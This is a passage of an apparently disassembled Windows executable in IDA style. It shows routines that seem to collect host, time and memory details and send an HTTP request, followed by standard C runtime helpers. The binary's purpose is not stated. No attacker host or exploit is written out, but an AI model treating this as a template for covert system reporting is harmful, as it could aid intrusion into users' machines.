loc_41AB45: ; CODE XREF: sub_41AA43+54j
; sub_41AA43+D1j ...
mov ax, word_437F2C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB534
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41AB7E
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
call dword_4CB694
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB60C
cmp eax, ebx
jz short loc_41ABA7
push dword ptr [eax]
jmp short loc_41ABAC
; ---------------------------------------------------------------------------
loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41ABAC: ; CODE XREF: sub_41AA43+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 26A0B90h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43A7FC
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2760000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 275151Ch
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 2880000h
nop
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B9D1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41A88C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416923
pop ecx
pop ecx
push eax
call sub_41A98D
push edx
push eax
push offset dword_43A720
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AA43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp
; sub_401ACD+72F6p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp dword_4CB73C, 0
jnz short loc_41AD63
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB518
test eax, eax
jnz short loc_41AD4C
lea eax, [ebp+var_8C]
push offset dword_43A87C
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AD4C: ; CODE XREF: sub_41ACF7+40j
test [ebp+var_C], 1
jz short loc_41AD59
push offset dword_43A874
jmp short loc_41AD5E
; ---------------------------------------------------------------------------
loc_41AD59: ; CODE XREF: sub_41ACF7+59j
push offset off_43A870
loc_41AD5E: ; CODE XREF: sub_41ACF7+60j
lea eax, [ebp+var_8]
jmp short loc_41AD7B
; ---------------------------------------------------------------------------
loc_41AD63: ; CODE XREF: sub_41ACF7+28j
mov esi, offset off_43A86C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43A828
push 200h
push [ebp+arg_0]
call sub_41B980
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41ACF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43A95C
call sub_41B590
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41B590
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41B590
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41B590
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41B590
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB550
test eax, eax
jz loc_41AF50
cmp [ebp+var_34], ebx
jbe short loc_41AE8D
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41AEAB
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj
cmp [ebp+var_20], ebx
jbe short loc_41AEC5
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j
cmp [ebp+var_18], ebx
jbe short loc_41AEDF
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41B5F0
add esp, 0Ch
loc_41AEDF: ; CODE XREF: sub_41ADB6+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB604
call dword_4CB628
mov esi, eax
cmp esi, ebx
jz short loc_41AF68
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB61C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41AF6F
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB5C8
test eax, eax
jz short loc_41AF49
push offset dword_43A940
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj
push offset unk_43A904
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF50: ; CODE XREF: sub_41ADB6+B7j
lea eax, [ebp+var_55C]
push offset dword_43A8E8
push eax
call sub_41B886
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41AF82
; ---------------------------------------------------------------------------
loc_41AF68: ; CODE XREF: sub_41ADB6+153j
push offset unk_43A8BC
jmp short loc_41AF74
; ---------------------------------------------------------------------------
loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj
push offset unk_43A88C
loc_41AF74: ; CODE XREF: sub_41ADB6+191j
; sub_41ADB6+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41AFAD
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409A73
add esp, 14h
loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4151AD
pop ecx
push esi
call dword_4CB688
push [ebp+var_4]
call dword_4CB688
push [ebp+var_1D8]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
pop edi
pop esi
pop ebx
sub_41ADB6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B000
loc_41AFEC: ; CODE XREF: sub_41AFE0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B033
test ecx, 3
jnz short loc_41AFEC
add eax, 0
loc_41B000: ; CODE XREF: sub_41AFE0+Aj
; sub_41AFE0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B000
mov eax, [ecx-4]
test al, al
jz short loc_41B051
test ah, ah
jz short loc_41B047
test eax, 0FF0000h
jz short loc_41B03D
test eax, 0FF000000h
jz short loc_41B033
jmp short loc_41B000
; ---------------------------------------------------------------------------
loc_41B033: ; CODE XREF: sub_41AFE0+11j
; sub_41AFE0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; CODE XREF: sub_41AFE0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B047: ; CODE XREF: sub_41AFE0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AFE0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41AFE0 endp
; =============== S U B R O U T I N E =======================================
sub_41B05B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+58DBp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B070
or eax, 0FFFFFFFFh
jmp short loc_41B0AA
; ---------------------------------------------------------------------------
loc_41B070: ; CODE XREF: sub_41B05B+Ej
test al, 83h
jz short loc_41B0A8
push esi
call sub_41DB8B
push esi
mov edi, eax
call sub_41DB25
push dword ptr [esi+10h]
call sub_41DA72
add esp, 0Ch
test eax, eax
jge short loc_41B096
or edi, 0FFFFFFFFh
jmp short loc_41B0A8
; ---------------------------------------------------------------------------
loc_41B096: ; CODE XREF: sub_41B05B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B0A8
push eax
call sub_41B0B1
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B0A8: ; CODE XREF: sub_41B05B+17j
; sub_41B05B+39j ...
mov eax, edi
loc_41B0AA: ; CODE XREF: sub_41B05B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B05B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40AB32+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B117
mov eax, dword_4DCFE8
cmp eax, 3
jnz short loc_41B0DD
push esi
call sub_41DE77
pop ecx
test eax, eax
push esi
jz short loc_41B109
push eax
call sub_41DEA2
pop ecx
pop ecx
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B0DD: ; CODE XREF: sub_41B0B1+14j
cmp eax, 2
jnz short loc_41B108
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_41B108
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41EC29
add esp, 0Ch
jmp short loc_41B117
; ---------------------------------------------------------------------------
loc_41B108: ; CODE XREF: sub_41B0B1+2Fj
; sub_41B0B1+44j
push esi
loc_41B109: ; CODE XREF: sub_41B0B1+20j
push 0
push dword_4DCFE4
call near ptr 27D0000h
nop
loc_41B117: ; CODE XREF: sub_41B0B1+Aj
; sub_41B0B1+2Aj ...
pop esi
leave
retn
sub_41B0B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B11A proc near ; CODE XREF: sub_4010AB+45p
; ___:0040F08Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B13E
xor eax, eax
jmp loc_41B1E7
; ---------------------------------------------------------------------------
loc_41B13E: ; CODE XREF: sub_41B11A+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B151
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B151: ; CODE XREF: sub_41B11A+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B15D
; ---------------------------------------------------------------------------
loc_41B15A: ; CODE XREF: sub_41B11A+C4j
mov ecx, [ebp+arg_0]
loc_41B15D: ; CODE XREF: sub_41B11A+35j
; sub_41B11A+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B18F
mov eax, [esi+4]
test eax, eax
jz short loc_41B18F
cmp ecx, eax
mov edi, ecx
jb short loc_41B174
mov edi, eax
loc_41B174: ; CODE XREF: sub_41B11A+56j
push edi
push dword ptr [esi]
push ebx
call sub_41C310
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B18F: ; CODE XREF: sub_41B11A+49j
; sub_41B11A+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B1C2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B1A5
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B1A5: ; CODE XREF: sub_41B11A+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
test eax, eax
jz short loc_41B1EC
cmp eax, 0FFFFFFFFh
jz short loc_41B1F2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B1DA
; ---------------------------------------------------------------------------
loc_41B1C2: ; CODE XREF: sub_41B11A+78j
push esi
call sub_41F043
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B1F6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B1DA: ; CODE XREF: sub_41B11A+73j
; sub_41B11A+A6j
cmp [ebp+arg_0], 0
jnz loc_41B15A
mov eax, [ebp+arg_8]
loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj
; sub_41B11A+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B1F6
; ---------------------------------------------------------------------------
loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B1F6: ; CODE XREF: sub_41B11A+B2j
; sub_41B11A+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B1E7
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41CFD3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B21D
push [ebp+arg_4]
call sub_41B4D5
pop ecx
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B202+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41B232
push [ebp+arg_0]
call sub_41B0B1
pop ecx
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B232: ; CODE XREF: sub_41B202+20j
mov eax, dword_4DCFE8
cmp eax, 3
jnz loc_41B342
loc_41B240: ; CODE XREF: sub_41B202+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B31E
push [ebp+arg_0]
call sub_41DE77
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41B2F9
cmp esi, dword_4DCFE0
ja short loc_41B2B2
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41E680
add esp, 0Ch
test eax, eax
jnz short loc_41B2AE
push esi
call sub_41E1CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B2B2
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41B292
mov eax, esi
loc_41B292: ; CODE XREF: sub_41B202+8Cj
push eax
push ebx
push edi
call sub_41C310
push ebx
call sub_41DE77
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41DEA2
add esp, 18h
loc_41B2AE: ; CODE XREF: sub_41B202+74j
test edi, edi
jnz short loc_41B2F5
loc_41B2B2: ; CODE XREF: sub_41B202+62j
; sub_41B202+81j
test esi, esi
jnz short loc_41B2B9
push 1
pop esi
loc_41B2B9: ; CODE XREF: sub_41B202+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27E0000h
mov edi, eax
test edi, edi
jz short loc_41B2F5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41B2E1
mov eax, esi
loc_41B2E1: ; CODE XREF: sub_41B202+DBj
push eax
push ecx
push edi
call sub_41C310
push [ebp+arg_0]
push ebx
call sub_41DEA2
add esp, 14h
loc_41B2F5: ; CODE XREF: sub_41B202+AEj
; sub_41B202+D0j
test ebx, ebx
jnz short loc_41B31A
loc_41B2F9: ; CODE XREF: sub_41B202+56j
test esi, esi
jnz short loc_41B300
push 1
pop esi
loc_41B300: ; CODE XREF: sub_41B202+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
nop
call near ptr 2890000h
mov edi, eax
loc_41B31A: ; CODE XREF: sub_41B202+F5j
test edi, edi
jnz short loc_41B33B
loc_41B31E: ; CODE XREF: sub_41B202+43j
cmp dword_4DB9DC, 0
jz short loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B240
jmp loc_41B49B
; ---------------------------------------------------------------------------
loc_41B33B: ; CODE XREF: sub_41B202+11Aj
; sub_41B202+123j ...
mov eax, edi
jmp loc_41B49D
; ---------------------------------------------------------------------------
loc_41B342: ; CODE XREF: sub_41B202+38j
cmp eax, 2
jnz loc_41B45D
cmp esi, 0FFFFFFE0h
ja short loc_41B35F
test esi, esi
jbe short loc_41B35C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41B35F
; ---------------------------------------------------------------------------
loc_41B35C: ; CODE XREF: sub_41B202+150j
push 10h
pop esi
loc_41B35F: ; CODE XREF: sub_41B202+14Cj
; sub_41B202+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41B43F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41EBD2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41B423
cmp esi, dword_43C9D4
jnb short loc_41B3E7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EF9A
add esp, 10h
test eax, eax
jz short loc_41B3AD
mov edi, [ebp+arg_0]
jmp short loc_41B3DF
; ---------------------------------------------------------------------------
loc_41B3AD: ; CODE XREF: sub_41B202+1A4j
push edi
call sub_41EC6E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41B3E7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B3C6
mov eax, esi
loc_41B3C6: ; CODE XREF: sub_41B202+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
loc_41B3DF: ; CODE XREF: sub_41B202+1A9j
test edi, edi
jnz loc_41B33B
loc_41B3E7: ; CODE XREF: sub_41B202+18Bj
; sub_41B202+1B6j
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27E0000h
mov edi, eax
test edi, edi
jz short loc_41B43F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41B408
mov eax, esi
loc_41B408: ; CODE XREF: sub_41B202+202j
push eax
push [ebp+arg_0]
push edi
call sub_41C310
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41EC29
add esp, 18h
jmp short loc_41B437
; ---------------------------------------------------------------------------
loc_41B423: ; CODE XREF: sub_41B202+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
call near ptr 2890000h
nop
mov edi, eax
loc_41B437: ; CODE XREF: sub_41B202+21Fj
test edi, edi
jnz loc_41B33B
loc_41B43F: ; CODE XREF: sub_41B202+162j
; sub_41B202+1F8j
cmp dword_4DB9DC, 0
jz loc_41B33B
push esi
call sub_41F312
test eax, eax
pop ecx
jnz loc_41B35F
jmp short loc_41B49B
; ---------------------------------------------------------------------------
loc_41B45D: ; CODE XREF: sub_41B202+143j
; sub_41B202+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41B487
test esi, esi
jnz short loc_41B46B
push 1
pop esi
loc_41B46B: ; CODE XREF: sub_41B202+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DCFE4
nop
call near ptr 2890000h
test eax, eax
jnz short loc_41B49D
loc_41B487: ; CODE XREF: sub_41B202+260j
cmp dword_4DB9DC, 0
jz short loc_41B49D
push esi
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B45D
loc_41B49B: ; CODE XREF: sub_41B202+2Bj
; sub_41B202+134j ...
xor eax, eax
loc_41B49D: ; CODE XREF: sub_41B202+16j
; sub_41B202+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B202 endp
; =============== S U B R O U T I N E =======================================
sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F49D
test eax, eax
jnz short loc_41B4AC
retn
; ---------------------------------------------------------------------------
loc_41B4AC: ; CODE XREF: sub_41B4A2+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F32D
add esp, 10h
retn
sub_41B4A2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+58AFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41B4A2
add esp, 0Ch
retn
sub_41B4C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40AB32+63p ...
arg_0 = dword ptr 4
push dword_4DB9DC
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41B4D5 endp
; =============== S U B R O U T I N E =======================================
sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap
; sub_41CFC5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41B510
loc_41B4EE: ; CODE XREF: sub_41B4E7+27j
push [esp+arg_0]
call sub_41B513
test eax, eax
pop ecx
jnz short locret_41B512
cmp [esp+arg_4], eax
jz short locret_41B512
push [esp+arg_0]
call sub_41F312
test eax, eax
pop ecx
jnz short loc_41B4EE
loc_41B510: ; CODE XREF: sub_41B4E7+5j
xor eax, eax
locret_41B512: ; CODE XREF: sub_41B4E7+13j
; sub_41B4E7+19j
retn
sub_41B4E7 endp
; =============== S U B R O U T I N E =======================================
sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DCFE8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41B537
cmp esi, dword_4DCFE0
ja short loc_41B569
push esi
call sub_41E1CB
test eax, eax
pop ecx
jz short loc_41B569
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B537: ; CODE XREF: sub_41B513+Dj
cmp eax, 2
jnz short loc_41B569
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41B54C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41B54F
; ---------------------------------------------------------------------------
loc_41B54C: ; CODE XREF: sub_41B513+2Fj
push 10h
pop esi
loc_41B54F: ; CODE XREF: sub_41B513+37j
cmp esi, dword_43C9D4
ja short loc_41B576
mov eax, esi
shr eax, 4
push eax
call sub_41EC6E
test eax, eax
pop ecx
jnz short loc_41B585
jmp short loc_41B576
; ---------------------------------------------------------------------------
loc_41B569: ; CODE XREF: sub_41B513+15j
; sub_41B513+20j ...
test esi, esi
jnz short loc_41B570
push 1
pop esi
loc_41B570: ; CODE XREF: sub_41B513+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41B576: ; CODE XREF: sub_41B513+42j
; sub_41B513+54j
push esi
push 0
push dword_4DCFE4
nop
call near ptr 27E0000h
loc_41B585: ; CODE XREF: sub_41B513+52j
pop esi
retn
sub_41B513 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41B5E3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41B5D7
neg ecx
and ecx, 3
jz short loc_41B5B9
sub edx, ecx
loc_41B5B3: ; CODE XREF: sub_41B590+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41B5B3
loc_41B5B9: ; CODE XREF: sub_41B590+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41B5D7
rep stosd
test edx, edx
jz short loc_41B5DD
loc_41B5D7: ; CODE XREF: sub_41B590+18j
; sub_41B590+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41B5D7
loc_41B5DD: ; CODE XREF: sub_41B590+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B5E3: ; CODE XREF: sub_41B590+Aj
mov eax, [esp+arg_0]
retn
sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
